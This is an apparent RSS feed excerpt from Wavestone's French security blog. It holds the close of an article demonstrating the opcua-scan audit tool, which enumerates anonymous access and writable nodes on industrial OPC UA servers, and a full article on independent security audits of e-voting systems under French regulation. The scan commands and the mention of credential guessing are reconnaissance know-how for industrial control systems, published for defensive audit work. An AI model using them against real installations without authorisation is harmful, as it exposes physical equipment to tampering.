<p>La commande server_config permet de récupérer les <em>EndpointDescriptions</em> de tous les serveurs détectés via la commande hello, et d’identifier parmi ces serveurs ceux qui acceptent les authentifications anonymes ou le niveau de sécurité <em>None</em>. L&rsquo;ensemble de ces informations sont accessibles et récupérables pour un utilisateur non authentifié.</p>
<p>De plus, si un accès authentifié à un serveur est possible, la commande permet également de parcourir les nœuds du serveur et d’énumérer les droits de l’utilisateur courant sur ces nœuds. Ainsi, il est possible d’obtenir la liste des nœuds de type <em>Variable</em> accessibles en écriture, ou bien la liste des méthodes exécutables par l’utilisateur.</p>
<p>Enfin, d’autres options utiles ont été ajoutées à la commande server_config :</p>
<ul>
<li>-o (ou &#8211;output) permet de configurer un fichier de sortie JSON pour stocker les résultats de la commande, et les parcourir plus facilement que sur un terminal. Des informations supplémentaires y sont stockées comme la valeur de l’attribut <em>UserWriteMask</em> des nœuds, qui indique quels attributs des nœuds peuvent être modifiés par l’utilisateur.</li>
<li>-r (ou &#8211;root_node) permet de parcourir uniquement un sous-ensemble des nœuds du serveur à partir d’un nœud de départ précisé en argument. En effet le parcours de l’ensemble des nœuds peut être long et cette option peut être utilisée pour cibler les nœuds d’intérêt.</li>
</ul>
<p>La documentation complète de la commande server_config et de toutes ses options est disponible <a href="https://github.com/wavestone-cdt/opcua-scan/blob/main/README.md#server_config-command">ici</a>.</p>
<p>En pratique, voilà comment la commande server_config pourrait s’utiliser :</p>
<p>Le fichier de sortie de la commande hello est donné en argument (via l&rsquo;option -t) et sera utilisé pour récupérer les informations sur les endpoints des serveurs détectés :</p>
<pre><span style="color: #000000;">$ python opcua_scan.py server_config -t hello_output.json</span></pre>
<p style="text-align: center;"><span style="background-color: #000000; color: #ffffff;"><em style="font-size: revert; background-color: #ffffff; color: initial;"><img loading="lazy" decoding="async" class="alignnone  wp-image-21230" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6.png" alt="" width="639" height="376" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6.png 869w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-325x191.png 325w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image6-768x452.png 768w" sizes="auto, (max-width: 639px) 100vw, 639px" /><br />Exemple de résultats générés par la commande server_config</em></span></p>
<p>Ici, le serveur autorise les connexions non chiffrées et anonymes ou authentifiées avec un nom d’utilisateur et un mot de passe. Si le serveur n’acceptait pas les connexions anonymes, le script opcua_login du module msf-opcua pourrait être utilisé pour essayer de trouver des identifiants valides, mais cela n’est pas nécessaire dans cet exemple</p>
<p>Il est possible d’accéder anonymement au serveur et parcourir ses nœuds à la recherche de nœuds intéressants (le début du résultat de la commande a volontairement été coupé, et le répertoire « TemperatureControl » a été ciblé avec l’option -r pour réduire le nombre de nœuds parcourus) :</p>
<pre><span style="color: #000000;">$ python opcua_scan.py server_config -t hello_output.json -o config_output.json -nw -r ‘ns=3;s=85/0:Simulation’</span></pre>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="wp-image-21232 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7.png" alt="" width="639" height="357" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7.png 896w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7-342x191.png 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image7-768x429.png 768w" sizes="auto, (max-width: 639px) 100vw, 639px" />Exemple de résultats obtenu lors d’une recherche de nœuds accessibles en écriture</em></p>
<p>Les nœuds accessibles en écriture peuvent ensuite être analysés plus en profondeur dans le fichier de sortie qui a été configuré dans la commande précédente :</p>
<p style="text-align: center;"><em><img loading="lazy" decoding="async" class="size-full wp-image-21234 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8.png" alt="" width="279" height="215" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8.png 279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8-248x191.png 248w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/09/Image8-51x39.png 51w" sizes="auto, (max-width: 279px) 100vw, 279px" />Extrait d’un fichier de sortie généré par la commande server_config</em></p>
<p>Ici, il semble possible pour un utilisateur anonyme d’allumer ou d’éteindre des climatiseurs à distance via le serveur OPC UA détecté</p>
<p> </p>
<h1>Conclusion</h1>
<p>Malgré les mécanismes de sécurité apportés par le standard OPC UA, ces derniers peuvent présenter des défauts de configuration et exposer les SI industriels de manière non-négligeable. L’outil développé par Wavestone et présenté dans cet article permet de faciliter la démarche d’audit de ces configurations et d’assurer au mieux la sécurité de ces SI industriels.</p>
<p>Enfin, les spécifications OPC UA proposent davantage de mécanismes de sécurité, comme la gestion des certificats par un Global Discovery Server ou de chiffrement des messages PubSub grâce à la mise en place d’un Security Key Server. Le standard OPC UA pourrait donc permettre d’effectuer des progrès supplémentaires en matière de sécurité, mais peu d’implémentations de ces mécanismes existent à ce jour.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a id="_msocom_1"></a>L&rsquo;outil est disponible sur notre Github : <a href="https://github.com/wavestone-cdt/opcua-scan">https://github.com/wavestone-cdt/opcua-scan</a></p>



<p>Cet outil a également été mis en avant lors d’une session Arsenal Lab à la conference BlackHat Asia 2023 à Singapour : <a href="https://github.com/wavestone-cdt/bhasia23-opcuhack">https://github.com/wavestone-cdt/bhasia23-opcuhack</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/09/un-regard-sur-opc-ua-un-protocole-industriel-moderne-et-emergent/">Un regard sur OPC UA, un protocole industriel moderne et émergent</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/09/un-regard-sur-opc-ua-un-protocole-industriel-moderne-et-emergent/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Expertise indépendante de systèmes de vote électronique</title>
		<link>https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/</link>
					<comments>https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/#respond</comments>
		
		<dc:creator><![CDATA[Bilal Benseddiq]]></dc:creator>
		<pubDate>Wed, 17 May 2023 15:14:45 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Compliance]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[compliance]]></category>
		<category><![CDATA[E-vote]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20485</guid>

					<description><![CDATA[<p>Introduction Définition du vote électronique Le vote électronique est un système de vote dématérialisé, à comptage automatisé, dans lequel les électeurs utilisent des dispositifs électroniques pour enregistrer leur vote. Le système peut être utilisé à distance, comme dans le cas...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/">Expertise indépendante de systèmes de vote électronique</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Introduction</h1>
<h2 style="text-align: justify;">Définition du vote électronique</h2>
<p style="text-align: justify;">Le vote électronique est un système de vote <strong>dématérialisé</strong>, à <strong>comptage automatisé</strong>, dans lequel les électeurs utilisent des dispositifs électroniques pour enregistrer leur vote.</p>
<p style="text-align: justify;">Le système peut être <strong>utilisé à distance</strong>, comme dans le cas du <strong>vote par internet</strong>, ou en personne, comme dans les bureaux de vote équipés de machines à voter.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quelques utilisations en France</h2>
<h3 style="text-align: justify;">Les premières traces datent de…  1969 !</h3>
<p style="text-align: justify;">Le ministre de l&rsquo;Intérieur Raymond Marcellin fait autoriser l&rsquo;utilisation de machines à voter 100% <strong>mécaniques</strong><a href="#_edn1" name="_ednref1">[i]</a>. En raison de pannes importantes et de la non-diminution des fraudes, ces machines tombent en désuétude, mais la modification faite au code électoral reste.</p>
<h3 style="text-align: justify;">Une utilisation lors des élections professionnelles</h3>
<p style="text-align: justify;">Lors des élections professionnelles du secteur publique de <strong>2018</strong>, <strong>5,15 millions d’agents</strong> <strong>publics</strong> ont été appelés à voter via une solution de vote électronique.</p>
<p style="text-align: justify;">En <strong>2022</strong>, <strong>5,6 millions d’agents publics</strong> des trois versants de la fonction publique sont appelés à voter pour leurs représentants syndicaux au sein des instances représentatives. Le scrutin a eu lieu du 1er au 8 décembre 2022. Il est unique à plus d’un titre : généralisation du vote électronique dans la fonction publique de l’État et mise en place de nouvelles instances de dialogue social<a href="#_edn2" name="_ednref2">[ii]</a>.</p>
<h3 style="text-align: justify;">Des expérimentations en cours pour le vote des Français de l’étranger</h3>
<p style="text-align: justify;">Pour les élections de 2017, le Ministère des Affaires Étrangères et du Développement International a mis au point une plateforme de <strong>vote en ligne aux français de l’étranger pour les élections législatives</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Quels scrutins ont lieu dans les organisations françaises ?</h2>
<p style="text-align: justify;">Dans le <strong>secteur privé</strong>, depuis 2018 les élections des membres de la délégation du personnel des <strong>comités sociaux et économiques</strong> (<strong>CSE</strong>) sont obligatoires pour les entreprises de plus de 11 salariés, à bulletins secrets<a href="#_edn3" name="_ednref3">[iii]</a>.</p>
<p style="text-align: justify;">Dans la <strong>fonction publique</strong> et certaines entreprises du secteur parapublic, il existe aussi des élections à des <strong>commissions paritaires</strong> ou des <strong>commissions</strong> <strong>techniques</strong> <strong>paritaires</strong>.</p>
<p style="text-align: justify;">Dans tous les cas, l&#8217;employeur doit informer <strong>tous les quatre ans </strong>(<em>sauf accord de branche prévoyant une durée plus courte</em>, comprise entre deux et quatre ans) le personnel par affichage de l&rsquo;organisation des élections.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Fonctionnement du vote électronique dans un contexte d’élections professionnelles</h2>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20458 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1.png" alt="" width="945" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-332x191.png 332w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image1-768x441.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">Avant le vote, l&#8217;employeur doit <strong>convoquer les élections professionnelles</strong> en précisant la date, le lieu et les modalités de scrutin (papier, électronique, ou hybride).</p>
<p style="text-align: justify;">L’organisation des élections repose généralement sur un ou plusieurs <strong>bureaux de vote centralisateurs</strong> et des bureaux de vote régionaux, selon le volume de scrutins et d’électeurs. Les membres des bureaux sont <strong>formés</strong>, la solution est <strong>recettée</strong>, et des <strong>élections de tests</strong> sont réalisées.</p>
<p style="text-align: justify;">Une fois la solution <strong>validée</strong> elle est passée en <strong>production</strong>, et <strong>l’élection peut débuter</strong> :</p>
<ol style="text-align: justify;">
<li>Les <strong>listes électorales</strong> sont établies, les syndicats ou les salariés peuvent vérifier et signaler toute erreur ou omission.</li>
<li>Les candidats peuvent faire <strong>campagne</strong> auprès des électeurs et présenter leur programme.</li>
<li>Le jour de l’<strong>ouverture du scrutin</strong>, la solution est <strong>scellée</strong> en utilisant des clefs de chiffrement privées détenues aux 1/3 par l’administration et aux 2/3 par les organisations syndicales.</li>
<li>Les électeurs <strong>votent ensuite selon le calendrier</strong> prescrit, les bureaux suivent l’émargement et assistent les électeurs, la cellule de supervision contrôle le bon déroulement et gère les incidents éventuels, et le prestataire de vote est mobilisé au besoin.</li>
<li>Le jour de la <strong>clôture des élections</strong>, l’intégrité de l’urne est contrôlée, puis le descellement est opéré par l’administration et les organisations syndicales.</li>
<li>Le <strong>dépouillement</strong> des votes est ensuite effectué sous le contrôle des bureaux de votes centralisateurs.</li>
<li>Les <strong>résultats</strong> des élections doivent être communiqués aux électeurs, affichés publiquement et transmis à l&rsquo;inspecteur du travail.</li>
<li>L’urne est à nouveau <strong>scellée</strong>, et toute la solution (<em>copie des programmes sources et des programmes exécutables, matériels de vote, fichiers d&rsquo;émargement, de résultats et de sauvegarde et fichiers qui conservent la trace des interventions sur le système</em>) est <strong>archivée sous scellés</strong> pendant 2 ans minimum.</li>
<li>En cas de <strong>contestation</strong>, un recours peut être déposé auprès de l&rsquo;inspecteur du travail ou du tribunal d&rsquo;instance.</li>
</ol>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Les enjeux du vote électronique</h1>
<h2 style="text-align: justify;">Opportunités</h2>
<h3 style="text-align: justify;">Facilité de mise en œuvre du scrutin</h3>
<p style="text-align: justify;">Le vote électronique est <strong>généralement</strong> <strong>plus efficient à mettre en œuvre que le vote papier</strong>, il nécessite moins de travail manuel pour la préparation (impression des affiches de propagande, logistique…), le dépouillement et la communication des résultats. Cela entraîne une réduction des coûts et une amélioration de l&rsquo;efficacité du processus électoral.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Réduction de l’empreinte carbone</h3>
<p style="text-align: justify;">Le vote électronique réduit grandement la dépendance à l’impression papier pour les listes électorales, les documents de propagande, et surtout les bulletins de vote. Il permet également de réduire drastiquement les déplacements en fonction de l’organisation géographique de l’entité organisatrice des scrutins.</p>
<p style="text-align: justify;">D’après une étude de la société Kercia<a href="#_edn4" name="_ednref4">[iv]</a>, <strong>l’empreinte carbone d’un vote par courrier est plus de deux fois supérieure à celle d’un vote électronique</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Maximisation de la participation et instances élues avec une base électorale plus élargie</h3>
<p style="text-align: justify;">Le vote électronique permet une <strong>participation plus importante des électeurs</strong>.</p>
<p style="text-align: justify;">Une étude menée en Suisse en 2011 a montré que le taux de participation a <strong>augmenté de 2,2 %</strong><a href="#_edn5" name="_ednref5">[v]</a> dans les cantons qui ont mis en place le vote électronique par rapport à ceux qui n&rsquo;ont pas utilisé cette méthode. De même, une étude menée en Estonie en 2014 a montré que l&rsquo;utilisation du vote électronique avait <strong>augmenté la participation électorale de 3 à 4 %</strong><a href="#_edn6" name="_ednref6">[vi]</a><strong>.</strong></p>
<p style="text-align: justify;">Les électeurs peuvent voter à distance <strong>sans avoir à se déplacer physiquement</strong> jusqu&rsquo;au bureau de vote. Cela peut augmenter la participation des électeurs, en particulier dans un contexte de généralisation du télétravail post-COVID-19.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Accords empreints d’une plus forte assise démocratique</h3>
<p style="text-align: justify;">Le vote électronique peut aider à <strong>renforcer le dialogue social</strong> en permettant une participation plus large et plus accessible des électeurs. Les résultats des élections sont mécaniquement plus probants en augmentant la participation aux scrutins.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Risques</h2>
<h3 style="text-align: justify;">Altération des résultats</h3>
<p style="text-align: justify;">Les systèmes de vote électronique peuvent être vulnérables à des attaques de <strong>vol de comptes</strong> électeur, de <strong>vote multiple à un même scrutin par le même électeur</strong>, ou encore de <strong>compromission des bulletins</strong>.</p>
<h3 style="text-align: justify;">Protection des données personnelles</h3>
<p style="text-align: justify;">La mise en œuvre de plateformes de vote électronique doit prendre en compte le <strong>risque de collecte excessive de données personnelles sensibles</strong> telles que les opinions politiques des électeurs.</p>
<p style="text-align: justify;">Les informations personnelles des électeurs peuvent également être stockées sur des serveurs vulnérables, exposant ces données à des <strong>risques de compromission du secret du vote ou de fuites de données</strong>.</p>
<h3 style="text-align: justify;">Transparence des opérations de vote</h3>
<p style="text-align: justify;">Il peut être difficile à chaque partie prenante de comprendre comment les votes sont enregistrés et comment les résultats sont compilés, entraînant une <strong>méfiance vis-à-vis de la solution et des résultats</strong> des élections.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ces risques doivent être pris en compte et remédiés afin d’en réduire drastiquement la probabilité d’occurrence et/ou leur impact sur le bon déroulement des élections.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Comment se conformer à la réglementation ?</h1>
<h2 style="text-align: justify;">Délibération CNIL 2019-053 du 25 avril 2019</h2>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20460 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2.png" alt="" width="945" height="548" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-329x191.png 329w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image2-768x445.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">La <strong>délibération CNIL n°2019-053 du 25 avril 2019</strong><a href="#_edn7" name="_ednref7">[vii]</a> simplifie et précise les textes de 2010 et 2018. Le processus est le suivant :</p>
<ol style="text-align: justify;">
<li>Choix du <strong>niveau de sécurité</strong> (1, 2 ou 3) en fonction d’un questionnaire mis à disposition par la CNIL<a href="#_edn8" name="_ednref8">[viii]</a>.</li>
<li>Mise en place d’une <strong>plateforme de vote de test</strong> (iso-production) en amont des élections, avec appui de l’expert indépendant en cas de questions relatives à la conformité des choix techniques et organisationnels à arbitrer.</li>
<li><strong>Expertise indépendante</strong> de la solution visant à évaluer la conformité de la solution aux objectifs de sécurité : selon le niveau de risque défini, les objectifs de sécurité sont plus ou moins stricts. Ceux-ci s’additionnent, par exemple en cas de niveau de risque défini à 3, les objectifs de niveaux 1, 2 et 3 doivent être atteints.</li>
</ol>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Décret 2011-595 (secteur public)</h2>
<p style="text-align: justify;">Une réglementation vient s’ajouter à la délibération CNIL 2019-053 pour la <strong>fonction publique</strong> et certaines entreprises du secteur parapublic<a href="#_edn9" name="_ednref9">[ix]</a> :</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20462 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3.png" alt="" width="945" height="600" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3.png 945w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3-301x191.png 301w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/05/Image3-768x488.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></p>
<p> </p>
<p style="text-align: justify;">En complément des objectifs de sécurité CNIL, <strong>18 articles</strong> composant ce décret doivent être respectés et contrôlés par l’expert indépendant. Les points de contrôle incluent par exemple :</p>
<ul style="text-align: justify;">
<li><em>« Au moins 2/3 des clés sont attribuées aux délégués de liste et au moins 1 clé est attribuée au président du bureau de vote ou à son représentant »</em></li>
<li><em>« Le scellement est effectué par la combinaison d&rsquo;au moins 2 clés de chiffrement, dont celle du président du bureau de vote ou de son représentant et celle d&rsquo;au moins un délégué de liste »</em></li>
<li><em>« Un procédé garantit que la liste d&rsquo;émargement n&rsquo;est modifiée que par l&rsquo;ajout d&rsquo;un émargement, qui émane d&rsquo;un électeur authentifié réalisant le vote »</em></li>
<li><em>« Chaque électeur reçoit au moins quinze jours avant le premier jour du scrutin un moyen d&rsquo;authentification lui permettant de participer au scrutin &#8211; la confidentialité de ce moyen d&rsquo;authentification doit être garanti »</em></li>
<li><em>« Un procédé garantit que l&rsquo;urne électronique n&rsquo;est modifiée que par le vote d&rsquo;un électeur authentifié »</em></li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Expertise indépendante</h2>
<h3 style="text-align: justify;">Obligation</h3>
<p style="text-align: center;"><em>« <strong>Tout responsable de traitement </strong>mettant en œuvre un système de vote par correspondance électronique, notamment via Internet, <strong>doit faire expertiser sa solution par un expert indépendant</strong>, que la solution de vote soit gérée en interne ou fournie par un prestataire. » &#8211; Délibération CNIL 2019-053</em></p>
<h3 style="text-align: justify;">Modalités</h3>
<h4 style="text-align: justify;">Quand ?</h4>
<p style="text-align: justify;">Cette expertise doit être réalisée :</p>
<ul style="text-align: justify;">
<li><strong>Avant la mise en place </strong>du système de vote électronique</li>
<li>En cas de <strong>modification</strong> de la conception du système de vote électronique déjà en place</li>
<li>A <strong>chaque nouveau scrutin </strong>utilisant le système de vote électronique, même s’il a déjà été expertisé</li>
</ul>
<h4 style="text-align: justify;">Par qui ?</h4>
<p style="text-align: justify;">Par un expert indépendant, qui doit :</p>
<ul style="text-align: justify;">
<li>Être un informaticien <strong>spécialisé dans la sécurité</strong></li>
<li>Ne <strong>pas avoir d&rsquo;intérêt dans la société </strong>qui a créé la solution de vote ni dans l&rsquo;organisme responsable de traitement</li>
<li><strong>Posséder si possible une expérience </strong>dans l&rsquo;analyse des systèmes de vote, en ayant expertisé les systèmes de vote d&rsquo;au moins deux prestataires différents.</li>
</ul>
<h4 style="text-align: justify;">Pourquoi ?</h4>
<p style="text-align: justify;">Pour garantir le <strong>respect des principes fondamentaux </strong>qui commandent les opérations électorales :</p>
<ul style="text-align: justify;">
<li>Le secret du scrutin</li>
<li>Le caractère personnel et libre du vote</li>
<li>La sincérité des opérations électorales</li>
<li>La surveillance effective du vote par la commission électorale</li>
<li>Le contrôle a posteriori par le juge de l’élection</li>
</ul>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Démarche de travail type</h3>
<p style="text-align: justify;">Notre vision de l’expertise indépendante est illustrée par les grandes étapes décrites dans ce chapitre.</p>
<h4 style="text-align: justify;">Initialisation et cadrage</h4>
<p style="text-align: justify;">Pour initier la mission, une réunion de lancement est organisée avec les interlocuteurs projet.</p>
<p style="text-align: justify;">Cette réunion a pour objectifs de présenter les <strong>équipes</strong>, définir les jalons et le <strong>planning</strong> projet, préciser les modalités de <strong>suivi</strong> de la prestation, les modalités de <strong>communication</strong> entre les parties (chiffrement des échanges, etc.), recueillir l’existant via collecte de la <strong>documentation</strong>, et mettre en place la <strong>comitologie</strong>.</p>
<h4 style="text-align: justify;">Audit de la solution et accompagnement en expertise</h4>
<p style="text-align: justify;">Cette phase centrale de l’expertise s’appuie sur une démarche d’analyse théorique et pratique :</p>
<ul style="text-align: justify;">
<li><strong>Contrôle de la documentation projet et du cahier des charges</strong>
<ul>
<li>Il s’agit dès la phase « papier » de s’assurer que tous les points de conformité sont présents et en adéquation avec la règlementation en vigueur :<em>technologies utilisées et mises à jour de ces dernières, hébergement de la solution, sécurité physique, architecture et haute disponibilité, cloisonnement entre les scrutins, techniques de scellement et chiffrement, moyen de constitution, corrélation, communication et suppression des listes électorales, schéma d’authentification des électeurs…</em></li>
</ul>
</li>
<li><strong>Accompagnement en expertise et avis sécurité</strong>
<ul>
<li>Il s’agit d’apporter une expertise ponctuelle sur des sujets relatifs au cadre légal et règlementaire lors de la phase de conception et d’implémentation de la solution et des processus (ex : <em>choix des facteurs d’authentification, processus de conservation des clefs de scellement, etc.</em>)</li>
</ul>
</li>
<li><strong>Audit technique de la solution</strong>
<ul>
<li><strong>Revue d’architecture</strong>visant à contrôler la conformité du cloisonnement physique et logique, de la sécurisation des flux, de l’hébergement, de la haute disponibilité, etc.</li>
<li><strong>Audit de l’organisation et des processus</strong> tels que le scellement, la communication des authentifiant, l’archivage, etc.</li>
<li><strong>Revue de configuration technique des serveurs</strong>-clefs de la solution</li>
<li>Audit du <strong>code source</strong> et des <strong>mécanismes de chiffrement</strong> de la solution en s’appuyant entre autres sur le RGS<a href="#_edn10" name="_ednref10">[x]</a> (Référentiel Général de Sécurité)</li>
<li><strong>Tests d’intrusion en boite noire et en boîte grise</strong> des portails de vote et du back-office de supervision</li>
</ul>
</li>
</ul>
<h4 style="text-align: justify;">Observation des élections-test</h4>
<p style="text-align: justify;">Cette phase vise à simuler une élection afin de contrôler la bonne application du protocole et des processus vérifiés en amont à l’épreuve du terrain :</p>
<ul style="text-align: justify;">
<li>Validation du processus de <strong>contrôle de conformité</strong>
<ul>
<li>Lors de cette étape, le but est de vérifier que la technique utilisée pour la vérification de la non-altération du système (prise d’empreinte) fonctionne</li>
</ul>
</li>
<li><strong>Contrôles de la solution en situation de terrain</strong>
<ul>
<li>Il s’agit de s’assurer, in vivo, que l’ensemble des points évoqués en matière de sécurité et règlementation sont bien en place, par exemple au travers de l’analyse des journaux applicatifs et système, ou des contrôles « aléatoires » : présence de fichiers temporaires contenant des informations sensibles, capacité à collecter des données, etc.</li>
</ul>
</li>
<li><strong>Appui en expertise lors du déroulement du vote et aide à l’adaptation de procédures en cas d’imprévus</strong></li>
</ul>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Accompagnement lors de l’élection réelle</h4>
<p style="text-align: justify;">Les mêmes contrôles que durant les élections-tests sont réalisés, et spécifiquement :</p>
<ul style="text-align: justify;">
<li><strong>Contrôle d’intégrité</strong> du système : Prise d’empreinte des briques essentielles du système (librairies, code, bibliothèques de chiffrement, etc.) et comparaison des empreintes avec celles obtenue pré-scrutin</li>
<li>Respect du <strong>cadre règlementaire</strong>: Processus de scellement, accès et utilisation des clés de chiffrement/déchiffrement, processus de dépouillement, etc.</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Quels écueils et comment les éviter ?</h1>
<h2 style="text-align: justify;">Accès limité aux systèmes</h2>
<p style="text-align: justify;">Le contexte de <strong>marché à forte expertise</strong> des solutions de vote peut pousser les éditeurs à être <strong>réticents à partager des informations confidentielles</strong> sur leur technologie tels que le <strong>code source</strong>, dans une logique de <strong>protection du secret industriel</strong>, ce qui peut limiter la capacité des experts à évaluer la conformité du système.</p>
<p style="text-align: justify;">Afin d’éviter cet écueil, il est essentiel de mettre en œuvre une <strong>communication régulière</strong> et une <strong>transparence totale</strong> des actions de l’expert indépendant. Des <strong>garanties</strong> doivent être fournies quant à la protection de la confidentialité des données recueillies et traitées via des <strong>processus et un SI certifié SMSI ou II 901 </strong><a href="#_edn11" name="_ednref11">[xi]</a>Diffusion Restreinte).</p>
<p style="text-align: justify;">Par ailleurs, nous recommandons aux experts indépendants de faire preuve de <strong>souplesse</strong> <strong>dans l’organisation</strong>, par exemple en acceptant de consulter le code source exclusivement au sein des locaux de l’éditeur.</p>
<p style="text-align: justify;">Il est enfin à rappeler que la délibération CNIL 2019-053 impose au prestataire de mettre à disposition « le code source correspondant à la version du logiciel effectivement mise en œuvre » à l’expert indépendant.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Méfiance des organisations syndicales et des électeurs</h2>
<p style="text-align: justify;">Les organisations syndicales et les électeurs peuvent légitimement s’interroger sur <strong>l’indépendance</strong> de l’expert et les <strong>garanties apportées par l’expertise</strong>, entraînant une <strong>méfiance</strong> vis-à-vis de la solution de vote électronique.</p>
<p style="text-align: justify;">Ces craintes sont fondées et une <strong>réponse</strong> doit y être apportée par une posture de <strong>transparence</strong>, et l’apport de <strong>preuves factuelles</strong> et <strong>vérifiables</strong> pour chaque observation rapportée durant l’expertise.</p>
<p style="text-align: justify;">Par ailleurs, aucun constat ne doit être formulé de façon ambigüe ou au conditionnel, ni être omis.</p>
<p style="text-align: justify;">Enfin, il est essentiel de présenter les <strong>limites</strong> de l’exercice d’expertise, et l’impossibilité logique d’apporter une garantie à 100% que le système ne peut être attaqué.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Interprétation de la réglementation</h2>
<p style="text-align: justify;">La <strong>réglementation</strong> disponible n’est pas toujours <strong>claire</strong> et explicite, notamment :</p>
<ul style="text-align: justify;">
<li>Les <strong>architectures non-standard</strong> ne font pas l’objet de règles spécifiques
<ul>
<li><em>Ex : Une architecture reposant sur un SI à cheval entre l’éditeur de la solution SaaS et le SI de l’employeur</em></li>
</ul>
</li>
<li>Certains <strong>termes</strong> peuvent être <strong>ambigus</strong>
<ul>
<li><em>Ex : « Le vote d&rsquo;un électeur doit être une opération atomique » &#8211; l’atomicité étant une notion fonctionnelle plutôt que technique, les protocoles de communication sur Internet ne permettant par exemple pas de contenir l’ensemble du bulletin dans un seul paquet réseau</em></li>
</ul>
</li>
</ul>
<p style="text-align: justify;">L’application des <strong>standards de référence</strong> (type RGS), l’interrogation directe de la <strong>CNIL</strong>, et l’implémentation d’une <strong>solution permettant de répondre au risque</strong> en substance sont autant de moyens de remédier à cet écueil.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion et recommandations</h1>
<p style="text-align: justify;">Afin de <strong>tirer au mieux parti de l’expertise indépendante</strong> et de la <strong>factualiser</strong>, nous recommandons de <strong>combiner la vision conformité réglementaire avec une vision orientée risques</strong> et alimentée par l’audit technique (tests d’intrusion, revues de configuration…) dans une logique de <strong>sécurisation</strong> concrète et <strong>pragmatique</strong> de la solution <strong>respectant le cadre réglementaire</strong>.</p>
